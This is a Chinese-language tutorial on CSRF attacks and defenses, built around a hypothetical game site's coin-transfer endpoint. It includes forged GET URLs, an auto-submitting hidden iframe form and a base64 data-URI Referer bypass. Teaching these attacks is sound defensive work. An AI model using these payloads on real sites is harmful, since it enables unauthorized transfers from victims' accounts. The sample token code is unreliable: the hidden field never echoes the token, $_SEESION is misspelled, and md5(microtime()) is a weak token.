CSRF 攻击与防御

CSRF 简介与原理

CSRF 的全名是 Cross-site request forgery,中文名为 跨站请求伪造,CSRF 是一种夹持用户在已经登录的 web 应用程序上执行非本意的操作的攻击方式。与 XSS 相比,CSRF 利用了系统对页面浏览器的信任,XSS 利用了系统对用户的信任。

CSRF 攻击原理图:

由上图可知 CSRF 攻击条件是:

  • 用户已经访问了某个网站,并该网站生成的 cookie 凭证存储在浏览器中
  • 该 cookie 没有清除,客户端打开了黑客设计的恶意网站

CSRF 例子与分析

以游戏虚拟币转账为例分析:

CSRF 攻击 - GET

某游戏网站的虚拟币转账采用 GET 方式进行操作:

http://www.game.com/transfer.php?toUserid=11&vMoney=1000

黑客构造一个网页,该网页或通过图片隐藏或通过 js 实现自动跳转到:

http://www.game.com/Transfer.php?toUserId=20&vMoney=1000 

# toUserId 为黑客账户

攻击流程:

  1. 客户端验证并登录 www.game.com,浏览器保存了游戏网站的 cookie
  2. 此时,客户端点击并访问了黑客发来的恶意网站连接
  3. 浏览器会自动携带该游戏网站的 cookie 进行访问,服务器会允许该转账操作

CSRF 攻击 - POST(有缺陷)

通过 POST 表单进行提交数据:

<form action="./Transfer.php" method="POST">
  <p>toUserid: <input type="text" name="toUserid"></p>
  <p>vMoney: <input type="text" name="vMoney"></p>
  <p><input type="submit" value="Transfer"></p>
</form>

Transfer.php:

<?php
    session_start();
    if(isset($_REQUEST['toUserId']) && isset($_REQUEST['vMoney'])) {
        // 对应转账操作
    }
?>

虽然通过 POST 进行传输数据,但是服务端代码使用 $_REQUEST 获取数据,$_REQUEST 可以接受 $_GETPOST 传送的数据,因此黑客的恶意代码无需修改。

CSRF 攻击 - POST

修改服务端接受数据方式:

// Transfer.php
<?php
    session_start();
    if(isset($_POST['toUserId']) && isset($_POST['vMoney'])) {
        // 对应转账操作
    }
?>

此时,黑客可以构造一份转账表单,并嵌入 iframe 中:

表单页面(csrf.html):

<!DOCTYPE html>
<html>
<head>
  <title>csrf</title>
</head>
<body>
<form display="none" action="http://www.game.com/Transfer.php" method="POST">
  <input type="hidden" name="toUserid" value="20">
  <input type="hidden" name="vMoney" value="1000">
</form>
</body>
</html>

用户访问的恶意网页:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>攻击者主机页面</title>
    <script type="text/javascript">
    function csrf()
    {
        window.frames['steal'].document.forms[0].submit();
    }
    </script>
</head>
<body onload="csrf()">
<iframe name="steal" display="none" src="./xsrf.html">
</iframe>
</body>
</html>

用户访问后依然会被攻击。

CSRF防御方法

只能在服务端进行防御,方式有:

  • 通过 POST 方式进行提交数据,但不能完全解决问题
  • 关键数据操作时,可以通过验证码二次确认,但用户体验差
  • 验证 HTTP Referer,可以绕过,跨协议时 referer 为空,例如 data:// 协议: html <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg=="> # base64 解码后为: <form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>
  • 为每个表单添加令牌 token 并验证

token 介绍

token 为令牌,一般用来防止表单重复提交,防止 csrf 跨站请求伪造。

Token原理:

  1. 后端生成随机字符串 Token,存储在 SESSION 中
  2. 当有表单时,从 SESSION 中取出 Token,写入一个隐藏框中,放到表单最底部: <input type="hidden" name="token" value="<?php $_SESSION['token']?>"/>
  3. 接受到 POST 数据后,判断 $_POST['token'] === $_SEESION['token']

范例:

<?php
    session_start();
    function setToken() {
        $_SESSION['token'] = md5(microtime());
    }

    function validToken() {
        $return = ($_POST['token'] === $_SESSION['token'] ? true : false);
        setToken();
        return $return;
    }

    if(!isset($_SESSION['token']) || $_SESSION['token'] == '') {
        setToken();
    }

    if(isset($_POST['text'])) {
        if(validToken()) {
            echo '验证通过';
            exit();
        } else {
            echo '非法操作';
            exit();
        }
    }
?>

<html>
<body>
    <form action="" method="post">
        <input type="hidden" name="token" value="<?php $_SESSION['token']?>"/>
        <input type="text" name="text" value="val"/>
        <input type="submit" value="submit"/>
    </form>
</body>
</html>


参考链接: